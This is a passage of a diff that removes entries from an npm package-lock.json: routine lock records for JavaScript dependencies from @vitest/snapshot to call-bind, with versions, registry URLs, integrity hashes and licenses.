"node_modules/@vitest/snapshot": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.5.tgz", - "integrity": "sha512-zypXEt4KH/XgKGPUz4eC2AvErYx0My5hfL8oDb1HzGFpEk1P62bxSohdyOmvz+d9UJwanI68MKwr2EquOaOgMQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/pretty-format": "4.1.5", - "@vitest/utils": "4.1.5", - "magic-string": "^0.30.21", - "pathe": "^2.0.3" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/spy": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.5.tgz", - "integrity": "sha512-2lNOsh6+R2Idnf1TCZqSwYlKN2E/iDlD8sgU59kYVl+OMDmvldO1VDk39smRfpUNwYpNRVn3w4YfuC7KfbBnkQ==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/utils": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.5.tgz", - "integrity": "sha512-76wdkrmfXfqGjueGgnb45ITPyUi1ycZ4IHgC2bhPDUfWHklY/q3MdLOAB+TF1e6xfl8NxNY0ZYaPCFNWSsw3Ug==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/pretty-format": "4.1.5", - "convert-source-map": "^2.0.0", - "tinyrainbow": "^3.1.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vladfrangu/async_event_emitter": { - "version": "2.4.7", - "resolved": "https://registry.npmjs.org/@vladfrangu/async_event_emitter/-/async_event_emitter-2.4.7.tgz", - "integrity": "sha512-Xfe6rpCTxSxfbswi/W/Pz7zp1WWSNn4A0eW4mLkQUewCrXXtMj31lCg+iQyTkh/CkusZSq9eDflu7tjEDXUY6g==", - "license": "MIT", - "engines": { - "node": ">=v14.0.0", - "npm": ">=7.0.0" - } - }, - "node_modules/@vue/compiler-core": { - "version": "3.5.34", - "resolved": "https://registry.npmjs.org/@vue/compiler-core/-/compiler-core-3.5.34.tgz", - "integrity": "sha512-s9cLyK5mLcvZ4Agva5QgRsQyLKvts9WbU9DB6NqiZkkGEdwmcEiylj5Jbwkp680drF/NNCV8OlAJSe+yMLxaJw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.29.3", - "@vue/shared": "3.5.34", - "entities": "^7.0.1", - "estree-walker": "^2.0.2", - "source-map-js": "^1.2.1" - } - }, - "node_modules/@vue/compiler-core/node_modules/entities": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/entities/-/entities-7.0.1.tgz", - "integrity": "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=0.12" - }, - "funding": { - "url": "https://github.com/fb55/entities?sponsor=1" - } - }, - "node_modules/@vue/compiler-core/node_modules/estree-walker": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", - "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@vue/compiler-dom": { - "version": "3.5.34", - "resolved": "https://registry.npmjs.org/@vue/compiler-dom/-/compiler-dom-3.5.34.tgz", - "integrity": "sha512-EbF/T++k0e2MMZlJsBhzK8Sgwt0HcIPOhzn1CTB/lv6sQcyk+OWf8YeiLxZp3ro7MbbLcAfAJ6sEvjFWuNgUCw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vue/compiler-core": "3.5.34", - "@vue/shared": "3.5.34" - } - }, - "node_modules/@vue/compiler-sfc": { - "version": "3.5.34", - "resolved": "https://registry.npmjs.org/@vue/compiler-sfc/-/compiler-sfc-3.5.34.tgz", - "integrity": "sha512-D/ihr6uZeIt6r+pVZf46RWT1fAsLFMbUP7k8G1VkiiWexriED9GrX3echHd4Abbt17zjlfiFJ8z7a3BxZOPNjg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.29.3", - "@vue/compiler-core": "3.5.34", - "@vue/compiler-dom": "3.5.34", - "@vue/compiler-ssr": "3.5.34", - "@vue/shared": "3.5.34", - "estree-walker": "^2.0.2", - "magic-string": "^0.30.21", - "postcss": "^8.5.14", - "source-map-js": "^1.2.1" - } - }, - "node_modules/@vue/compiler-sfc/node_modules/estree-walker": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", - "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@vue/compiler-ssr": { - "version": "3.5.34", - "resolved": "https://registry.npmjs.org/@vue/compiler-ssr/-/compiler-ssr-3.5.34.tgz", - "integrity": "sha512-cDtTHKibkThKGHH1SP+WdccquNRYQDFH6rRjQCqT9G2ltFAfoR5pUftpab/z+aM5mW9HLLVQW7hfKKQe/1GBeQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vue/compiler-dom": "3.5.34", - "@vue/shared": "3.5.34" - } - }, - "node_modules/@vue/shared": { - "version": "3.5.34", - "resolved": "https://registry.npmjs.org/@vue/shared/-/shared-3.5.34.tgz", - "integrity": "sha512-24uqU4OIiX29ryC3MeWid/Xf2fa2EFRUVLb77nRhk+UrTVrh/XiGtFAFmJBAtBRbjwNdsPRP+jj/OL27Eg1NDA==", - "dev": true, - "license": "MIT" - }, - "node_modules/@xterm/headless": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/@xterm/headless/-/headless-5.5.0.tgz", - "integrity": "sha512-5xXB7kdQlFBP82ViMJTwwEc3gKCLGKR/eoxQm4zge7GPBl86tCdI0IdPJjoKd8mUSFXz5V7i/25sfsEkP4j46g==", - "license": "MIT" - }, - "node_modules/abort-controller": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz", - "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", - "license": "MIT", - "dependencies": { - "event-target-shim": "^5.0.0" - }, - "engines": { - "node": ">=6.5" - } - }, - "node_modules/accepts": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz", - "integrity": "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==", - "license": "MIT", - "dependencies": { - "mime-types": "^3.0.0", - "negotiator": "^1.0.0" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/acorn": { - "version": "8.16.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz", - "integrity": "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==", - "license": "MIT", - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/acorn-import-attributes": { - "version": "1.9.5", - "resolved": "https://registry.npmjs.org/acorn-import-attributes/-/acorn-import-attributes-1.9.5.tgz", - "integrity": "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ==", - "license": "MIT", - "peerDependencies": { - "acorn": "^8" - } - }, - "node_modules/agent-base": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", - "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", - "license": "MIT", - "engines": { - "node": ">= 14" - } - }, - "node_modules/ajv": { - "version": "8.20.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", - "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.3", - "fast-uri": "^3.0.1", - "json-schema-traverse": "^1.0.0", - "require-from-string": "^2.0.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/ajv-formats": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz", - "integrity": "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==", - "license": "MIT", - "dependencies": { - "ajv": "^8.0.0" - }, - "peerDependencies": { - "ajv": "^8.0.0" - }, - "peerDependenciesMeta": { - "ajv": { - "optional": true - } - } - }, - "node_modules/ansi-regex": { - "version": "6.2.2", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", - "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/ansi-regex?sponsor=1" - } - }, - "node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "license": "MIT", - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/any-promise": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", - "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", - "dev": true, - "license": "MIT" - }, - "node_modules/app-module-path": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/app-module-path/-/app-module-path-2.2.0.tgz", - "integrity": "sha512-gkco+qxENJV+8vFcDiiFhuoSvRXb2a/QPqpSoWhVz829VNJfOTnELbBmPmNKFxf3xdNnw4DWCkzkDaavcX/1YQ==", - "dev": true, - "license": "BSD-2-Clause" - }, - "node_modules/argparse": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", - "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", - "license": "Python-2.0" - }, - "node_modules/arrify": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/arrify/-/arrify-2.0.1.tgz", - "integrity": "sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/asap": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", - "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==", - "dev": true, - "license": "MIT" - }, - "node_modules/assert-never": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/assert-never/-/assert-never-1.4.0.tgz", - "integrity": "sha512-5oJg84os6NMQNl27T9LnZkvvqzvAnHu03ShCnoj6bsJwS7L8AO4lf+C/XjK/nvzEqQB744moC6V128RucQd1jA==", - "dev": true, - "license": "MIT" - }, - "node_modules/assertion-error": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", - "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - } - }, - "node_modules/ast-module-types": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/ast-module-types/-/ast-module-types-6.0.2.tgz", - "integrity": "sha512-6KuK/7nZ/2Qh7sGuVEiwxjCxzTY2Pdb5mTo5z1e6/J8BA0tvjR7G8vQJKrQMTqwmnA3UPEyKIFX4YUS1DO1Hvw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/ast-types": { - "version": "0.13.4", - "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.13.4.tgz", - "integrity": "sha512-x1FCFnFifvYDDzTaLII71vG5uvDwgtmDTEVWAxrgeiR8VjMONcCXJx7E+USjDtHlwFmt9MysbqgF9b9Vjr6w+w==", - "license": "MIT", - "dependencies": { - "tslib": "^2.0.1" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/ast-v8-to-istanbul": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/ast-v8-to-istanbul/-/ast-v8-to-istanbul-1.0.0.tgz", - "integrity": "sha512-1fSfIwuDICFA4LKkCzRPO7F0hzFf0B7+Xqrl27ynQaa+Rh0e1Es0v6kWHPott3lU10AyAr7oKHa65OppjLn3Rg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/trace-mapping": "^0.3.31", - "estree-walker": "^3.0.3", - "js-tokens": "^10.0.0" - } - }, - "node_modules/ast-v8-to-istanbul/node_modules/js-tokens": { - "version": "10.0.0", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-10.0.0.tgz", - "integrity": "sha512-lM/UBzQmfJRo9ABXbPWemivdCW8V2G8FHaHdypQaIy523snUjog0W71ayWXTjiR+ixeMyVHN2XcpnTd/liPg/Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/asynckit": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", - "license": "MIT" - }, - "node_modules/b4a": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/b4a/-/b4a-1.8.0.tgz", - "integrity": "sha512-qRuSmNSkGQaHwNbM7J78Wwy+ghLEYF1zNrSeMxj4Kgw6y33O3mXcQ6Ie9fRvfU/YnxWkOchPXbaLb73TkIsfdg==", - "license": "Apache-2.0", - "peerDependencies": { - "react-native-b4a": "*" - }, - "peerDependenciesMeta": { - "react-native-b4a": { - "optional": true - } - } - }, - "node_modules/babel-walk": { - "version": "3.0.0-canary-5", - "resolved": "https://registry.npmjs.org/babel-walk/-/babel-walk-3.0.0-canary-5.tgz", - "integrity": "sha512-GAwkz0AihzY5bkwIY5QDR+LvsRQgB/B+1foMPvi0FZPMl5fjD7ICiznUiBdLYMH1QYe6vqu4gWYytZOccLouFw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/types": "^7.9.6" - }, - "engines": { - "node": ">= 10.0.0" - } - }, - "node_modules/badgen": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/badgen/-/badgen-3.3.1.tgz", - "integrity": "sha512-8y2Av4AP7G6jtwvRcPcEuPPigRouY6izfXy8qEp+4kMN4Va08VkCAbAvcFXwtHXsTSxbLHD4nglH5TmdKXaEkw==", - "dev": true, - "license": "MIT" - }, - "node_modules/bail": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz", - "integrity": "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/balanced-match": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", - "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", - "license": "MIT", - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/bare-events": { - "version": "2.8.2", - "resolved": "https://registry.npmjs.org/bare-events/-/bare-events-2.8.2.tgz", - "integrity": "sha512-riJjyv1/mHLIPX4RwiK+oW9/4c3TEUeORHKefKAKnZ5kyslbN+HXowtbaVEqt4IMUB7OXlfixcs6gsFeo/jhiQ==", - "license": "Apache-2.0", - "peerDependencies": { - "bare-abort-controller": "*" - }, - "peerDependenciesMeta": { - "bare-abort-controller": { - "optional": true - } - } - }, - "node_modules/bare-fs": { - "version": "4.7.1", - "resolved": "https://registry.npmjs.org/bare-fs/-/bare-fs-4.7.1.tgz", - "integrity": "sha512-WDRsyVN52eAx/lBamKD6uyw8H4228h/x0sGGGegOamM2cd7Pag88GfMQalobXI+HaEUxpCkbKQUDOQqt9wawRw==", - "license": "Apache-2.0", - "dependencies": { - "bare-events": "^2.5.4", - "bare-path": "^3.0.0", - "bare-stream": "^2.6.4", - "bare-url": "^2.2.2", - "fast-fifo": "^1.3.2" - }, - "engines": { - "bare": ">=1.16.0" - }, - "peerDependencies": { - "bare-buffer": "*" - }, - "peerDependenciesMeta": { - "bare-buffer": { - "optional": true - } - } - }, - "node_modules/bare-os": { - "version": "3.9.0", - "resolved": "https://registry.npmjs.org/bare-os/-/bare-os-3.9.0.tgz", - "integrity": "sha512-JTjuZyNIDpw+GytMO4a6TK1VXdVKKJr6DRxEHasyuYyShV2deuiHJK/ahGZlebc+SG0/wJCB9XK8gprBGDFi/Q==", - "license": "Apache-2.0", - "engines": { - "bare": ">=1.14.0" - } - }, - "node_modules/bare-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/bare-path/-/bare-path-3.0.0.tgz", - "integrity": "sha512-tyfW2cQcB5NN8Saijrhqn0Zh7AnFNsnczRcuWODH0eYAXBsJ5gVxAUuNr7tsHSC6IZ77cA0SitzT+s47kot8Mw==", - "license": "Apache-2.0", - "dependencies": { - "bare-os": "^3.0.1" - } - }, - "node_modules/bare-stream": { - "version": "2.13.1", - "resolved": "https://registry.npmjs.org/bare-stream/-/bare-stream-2.13.1.tgz", - "integrity": "sha512-Vp0cnjYyrEC4whYTymQ+YZi6pBpfiICZO3cfRG8sy67ZNWe951urv1x4eW1BKNngw3U+3fPYb5JQvHbCtxH7Ow==", - "license": "Apache-2.0", - "dependencies": { - "streamx": "^2.25.0", - "teex": "^1.0.1" - }, - "peerDependencies": { - "bare-abort-controller": "*", - "bare-buffer": "*", - "bare-events": "*" - }, - "peerDependenciesMeta": { - "bare-abort-controller": { - "optional": true - }, - "bare-buffer": { - "optional": true - }, - "bare-events": { - "optional": true - } - } - }, - "node_modules/bare-url": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/bare-url/-/bare-url-2.4.2.tgz", - "integrity": "sha512-/9a2j4ac6ckpmAHvod/ob7x439OAHst/drc2Clnq+reRYd/ovddwcF4LfoxHyNk5AuGBnPg+HqFjmE/Zpq6v0A==", - "license": "Apache-2.0", - "dependencies": { - "bare-path": "^3.0.0" - } - }, - "node_modules/base64-js": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", - "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/basic-ftp": { - "version": "5.3.1", - "resolved": "https://registry.npmjs.org/basic-ftp/-/basic-ftp-5.3.1.tgz", - "integrity": "sha512-bopVNp6ugyA150DDuZfPFdt1KZ5a94ZDiwX4hMgZDzF+GttD80lEy8kj98kbyhLXnPvhtIo93mdnLIjpCAeeOw==", - "license": "MIT", - "engines": { - "node": ">=10.0.0" - } - }, - "node_modules/before-after-hook": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-4.0.0.tgz", - "integrity": "sha512-q6tR3RPqIB1pMiTRMFcZwuG5T8vwp+vUvEG0vuI6B+Rikh5BfPp2fQ82c925FOs+b0lcFQ8CFrL+KbilfZFhOQ==", - "license": "Apache-2.0" - }, - "node_modules/bignumber.js": { - "version": "9.3.1", - "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.3.1.tgz", - "integrity": "sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ==", - "license": "MIT", - "engines": { - "node": "*" - } - }, - "node_modules/bl": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", - "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", - "dev": true, - "license": "MIT", - "dependencies": { - "buffer": "^5.5.0", - "inherits": "^2.0.4", - "readable-stream": "^3.4.0" - } - }, - "node_modules/blamer": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/blamer/-/blamer-1.0.7.tgz", - "integrity": "sha512-GbBStl/EVlSWkiJQBZps3H1iARBrC7vt++Jb/TTmCNu/jZ04VW7tSN1nScbFXBUy1AN+jzeL7Zep9sbQxLhXKA==", - "dev": true, - "license": "MIT", - "dependencies": { - "execa": "^4.0.0", - "which": "^2.0.2" - }, - "engines": { - "node": ">=8.9" - } - }, - "node_modules/blamer/node_modules/execa": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/execa/-/execa-4.1.0.tgz", - "integrity": "sha512-j5W0//W7f8UxAn8hXVnwG8tLwdiUy4FJLcSupCg6maBYZDpyBvTApK7KyuI4bKj8KOh1r2YH+6ucuYtJv1bTZA==", - "dev": true, - "license": "MIT", - "dependencies": { - "cross-spawn": "^7.0.0", - "get-stream": "^5.0.0", - "human-signals": "^1.1.1", - "is-stream": "^2.0.0", - "merge-stream": "^2.0.0", - "npm-run-path": "^4.0.0", - "onetime": "^5.1.0", - "signal-exit": "^3.0.2", - "strip-final-newline": "^2.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sindresorhus/execa?sponsor=1" - } - }, - "node_modules/blamer/node_modules/human-signals": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-1.1.1.tgz", - "integrity": "sha512-SEQu7vl8KjNL2eoGBLF3+wAjpsNfA9XMlXAYj/3EdaNfAlxKthD1xjEQfGOUhllCGGJVNY34bRr6lPINhNjyZw==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=8.12.0" - } - }, - "node_modules/blamer/node_modules/npm-run-path": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", - "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", - "dev": true, - "license": "MIT", - "dependencies": { - "path-key": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/blamer/node_modules/strip-final-newline": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", - "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/body-parser": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.2.2.tgz", - "integrity": "sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA==", - "license": "MIT", - "dependencies": { - "bytes": "^3.1.2", - "content-type": "^1.0.5", - "debug": "^4.4.3", - "http-errors": "^2.0.0", - "iconv-lite": "^0.7.0", - "on-finished": "^2.4.1", - "qs": "^6.14.1", - "raw-body": "^3.0.1", - "type-is": "^2.0.1" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/bowser": { - "version": "2.14.1", - "resolved": "https://registry.npmjs.org/bowser/-/bowser-2.14.1.tgz", - "integrity": "sha512-tzPjzCxygAKWFOJP011oxFHs57HzIhOEracIgAePE4pqB3LikALKnSzUyU4MGs9/iCEUuHlAJTjTc5M+u7YEGg==", - "license": "MIT" - }, - "node_modules/brace-expansion": { - "version": "5.0.5", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.5.tgz", - "integrity": "sha512-VZznLgtwhn+Mact9tfiwx64fA9erHH/MCXEUfB/0bX/6Fz6ny5EGTXYltMocqg4xFAQZtnO3DHWWXi8RiuN7cQ==", - "license": "MIT", - "dependencies": { - "balanced-match": "^4.0.2" - }, - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/braces": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", - "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", - "dev": true, - "license": "MIT", - "dependencies": { - "fill-range": "^7.1.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/buffer": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", - "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT", - "dependencies": { - "base64-js": "^1.3.1", - "ieee754": "^1.1.13" - } - }, - "node_modules/buffer-crc32": { - "version": "0.2.13", - "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", - "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==", - "license": "MIT", - "engines": { - "node": "*" - } - }, - "node_modules/buffer-equal-constant-time": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", - "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", - "license": "BSD-3-Clause" - }, - "node_modules/bundle-name": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/bundle-name/-/bundle-name-4.1.0.tgz", - "integrity": "sha512-tjwM5exMg6BGRI+kNmTntNsvdZS1X8BFYS6tnJ2hdH0kVxM6/eVZ2xy+FqStSWvYmtfFMDLIxurorHwDKfDz5Q==", - "license": "MIT", - "dependencies": { - "run-applescript": "^7.0.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/bytes": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", - "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/call-bind": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.9.tgz", - "integrity": "sha512-a/hy+pNsFUTR+Iz8TCJvXudKVLAnz/DyeSUo10I5yvFDQJBFU2s9uqQpoSrJlroHUKoKqzg+epxyP9lqFdzfBQ==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.2", - "es-define-property": "^1.0.1", - "get-intrinsic": "^1.3.0", - "set-function-length": "^1.2.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/call-bind-apply-helpers": { - "version": "1.0.2", - "resolved": 